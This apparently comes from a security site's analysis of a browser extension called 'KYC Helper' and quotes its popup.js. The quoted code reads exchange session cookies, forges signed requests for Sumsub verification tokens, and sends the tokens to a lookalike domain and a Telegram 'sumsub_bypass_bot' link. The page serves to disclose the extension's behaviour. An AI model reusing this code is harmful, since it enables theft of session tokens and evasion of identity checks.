a=hh(a,b,c,d,M[9],4,-640364487);d=hh(d,a,b,c,M[12],11,-421815835);c=hh(c,d,a,b,M[15],16,530742520);b=hh(b,c,d,a,M[2],23,-995338651); a=ii(a,b,c,d,M[0],6,-198630844);d=ii(d,a,b,c,M[7],10,1126891415);c=ii(c,d,a,b,M[14],15,-1416354905);b=ii(b,c,d,a,M[5],21,-57434055); a=ii(a,b,c,d,M[12],6,1700485571);d=ii(d,a,b,c,M[3],10,-1894986606);c=ii(c,d,a,b,M[10],15,-1051523);b=ii(b,c,d,a,M[1],21,-2054922799); a=ii(a,b,c,d,M[8],6,1873313359);d=ii(d,a,b,c,M[15],10,-30611744);c=ii(c,d,a,b,M[6],15,-1560198380);b=ii(b,c,d,a,M[13],21,1309151649); a=ii(a,b,c,d,M[4],6,-145523070);d=ii(d,a,b,c,M[11],10,-1120210379);c=ii(c,d,a,b,M[2],15,718787259);b=ii(b,c,d,a,M[9],21,-343485551); a=sa(a,A);b=sa(b,B);c=sa(c,C);d=sa(d,D); } return [a,b,c,d].map(v=>[0,8,16,24].map(s=>((v>>s)&0xff).toString(16).padStart(2,'0')).join('')).join(''); }; const getCookie = name => { const m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)')); return m ? decodeURIComponent(m[1]) : ''; }; let uToken = '', terminalCode = ''; try { const raw = getCookie('WEEX_TOKEN_COOKIE_PRODUCTION'); if (raw) { const parsed = JSON.parse(raw); uToken = parsed?.bt_ccToken || ''; } } catch {} const ls = window.localStorage; // terminalCode stored in weex::baseLocal JSON under "weex:terminalCode" key try { const base = JSON.parse(ls.getItem('weex::baseLocal') || '{}'); terminalCode = base['weex:terminalCode'] || ''; } catch {} if (!terminalCode) terminalCode = 'ae7517d3f70939e37ebd1b01b3ff06ff'; // web fallback // vs is generated fresh per request (random 32-char alphanumeric, same charset as weex WS vs) const vsChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; const vsBytes = crypto.getRandomValues(new Uint8Array(32)); const vs = Array.from(vsBytes).map(b => vsChars[b % vsChars.length]).join(''); const timestamp = Date.now(); const traceId = Array.from(crypto.getRandomValues(new Uint8Array(16))).map(b => b.toString(16).padStart(2, '0')).join(''); const xSig = md5('weex' + timestamp + vs + '1' + '2.0.2' + '' + terminalCode); // Generate sidecar via sidecarManager WASM (webpack module 25833) let sidecar = ''; try { let __wReq__; webpackChunk_N_E.push([[9999999], {}, r => { __wReq__ = r; }]); if (__wReq__) { const { sidecarManager } = __wReq__(25833); sidecar = await sidecarManager.generateSignature({ timestamp, vs, appVersion: '2.0.2', terminalCode, terminalType: 1, }); } } catch {} const res = await fetch('https://gateway2.janapw.com/v1/user/kyc/sumsub/token', { method: 'POST', headers: { 'accept': 'application/json, text/plain, */*', 'Content-Type': 'application/json', 'u-token': uToken, 'x-timestamp': String(timestamp), 'x-sig': xSig, 'traceid': traceId, 'appversion': '2.0.2', 'terminaltype': '1', 'language': 'en_US', 'locale': 'en_US', 'bundleid': '', 'vs': vs, 'terminalcode': terminalCode, ...(sidecar ? { 'sidecar': sidecar } : {}), }, body: JSON.stringify({}) }); const text = await res.text(); let data; try { data = JSON.parse(text); } catch {} if (data?.code === '00000' && data?.data?.accessToken) { return { ok: true, token: data.data.accessToken }; } return { ok: false, errorMessage: data?.msg || `HTTP ${res.status}` }; } catch (e) { return { ok: false, errorMessage: e.message }; } }Other mode injects a helper and forwards the returned token
popup.js async function getOtherToken() { const exchange = otherExchangeSelectEl.dataset.value; getOtherTokenBtnEl.disabled = true; getOtherTokenBtnEl.textContent = 'Getting...'; otherTokenRowEl.hidden = true; otherTokenFieldEl.value = ''; otherCopyBtnEl.disabled = true; otherGetLinkBtnEl.disabled = true; otherGetLinkBtnEl.textContent = 'Get Link'; otherBotLinkHref = null; try { const [tab] = await chrome.tabs.query({ active: true, currentWindow: true }); if (!tab?.id || !tab?.url) throw new Error('No active tab'); let baseOrigin; let inPageFn; if (exchange === 'bitexen') { const url = new URL(tab.url); if (!url.hostname.includes('bitexen.com')) throw new Error('Open bitexen.com first'); baseOrigin = url.origin; inPageFn = inPageBitexenGetToken; } else if (exchange === 'bingx') { const url = new URL(tab.url); if (!url.hostname.includes('bingx.com')) throw new Error('Open bingx.com first'); baseOrigin = url.origin; inPageFn = inPageBingXGetToken; } else if (exchange === 'weex') { const url = new URL(tab.url); if (!url.hostname.includes('weex.com')) throw new Error('Open weex.com first'); baseOrigin = url.origin; inPageFn = inPageWeexGetToken; } else { throw new Error('Unknown exchange'); } const inj = await chrome.scripting.executeScript({ target: { tabId: tab.id }, world: 'MAIN', func: inPageFn, args: [baseOrigin] }); const result = inj?.[0]?.result; if (!result?.ok) throw new Error(result?.errorMessage || 'Failed to get token'); otherTokenFieldEl.value = result.token; otherTokenRowEl.hidden = false; otherCopyBtnEl.disabled = false; setOtherStatus('Token obtained. Getting bot link...', 'ok'); try { otherBotLinkHref = await makeBotLinkFromToken(result.token); if (otherBotLinkHref) { otherGetLinkBtnEl.disabled = false; } else { otherGetLinkBtnEl.textContent = 'Error'; } } catch { otherGetLinkBtnEl.textContent = 'Error'; } setOtherStatus('Token obtained. Copy or get bot link.', 'ok'); } catch (e) { setOtherStatus(e.message || 'Error getting token', 'err'); } finally { getOtherTokenBtnEl.disabled = false; getOtherTokenBtnEl.textContent = 'Get token'; } } getOtherTokenBtnEl.addEventListener('click', getOtherToken);Shared deeplink POST and Telegram link construction
popup.js // API endpoint and token for shortening Sumsub access tokens // This is a client-side API token intended for browser extension use const DEEPLINK_API_URL = 'https://api.sumsubio.com/api/deeplink'; const DEEPLINK_API_TOKEN = '<redacted>'; // hardcoded client token redacted async function shortenTokenInternal(paramType, paramValue) { const tab = await getActiveTab(); const tabHost = tab?.url?.startsWith('http') ? new URL(tab.url).hostname : ''; const response = await fetch(DEEPLINK_API_URL, { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-API-Token': DEEPLINK_API_TOKEN }, body: JSON.stringify({ param_type: paramType, param_value: paramValue, host: tabHost }) }); if (!response.ok) { console.error(`Failed to shorten token: HTTP ${response.status} ${response.statusText}`); throw new Error(`Failed to shorten token (HTTP ${response.status})`); } const data = await response.json(); if (!data.short_id) { throw new Error('API response missing short_id'); } return data.short_id; } async function shortenToken(accessToken) { try { return await shortenTokenInternal('sumsub_access_token', accessToken); } catch (e) { console.error('Token shortening error:', e); throw e; } } async function shortenOnfidoToken(token, url) { try { const paramValue = `${token},${url}`; return await shortenTokenInternal('onfido_access_token', paramValue); } catch (e) { console.error('Onfido token shortening error:', e); throw e; } } async function makeBotLinkFromToken(rawToken) { if (!rawToken) { throw new Error('Token is required'); } try { const shortId = await shortenToken(rawToken); return `https://t.me/sumsub_bypass_bot?start=TOKEN_${shortId}`; } catch (e) { console.error('Failed to create bot link:', e); return null; } } async function makeBotLinkFromOnfido(token, url) { if (!token) { throw new Error('Token is required'); } try { const shortId = await shortenOnfidoToken(token, url); return `https://t.me/sumsub_bypass_bot?start=ONFIDO_${shortId}`; } catch (e) { console.error('Failed to create Onfido bot link:', e); return null; }- api.sumsubio.com
Receives the final verification token plus active hostname through the deeplink request.
- gateway2.janapw.com
Receives the Weex Sumsub-token request with Weex authentication and device headers.
- t.me
Receives the user when the generated sumsub_bypass_bot Telegram start link is opened.
Where it sends data
Destinations our analysis observed KYC Helper contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.sumsubio.com
KYC Helper sends data to api.sumsubio.com. No other extension we have analysed sends data here.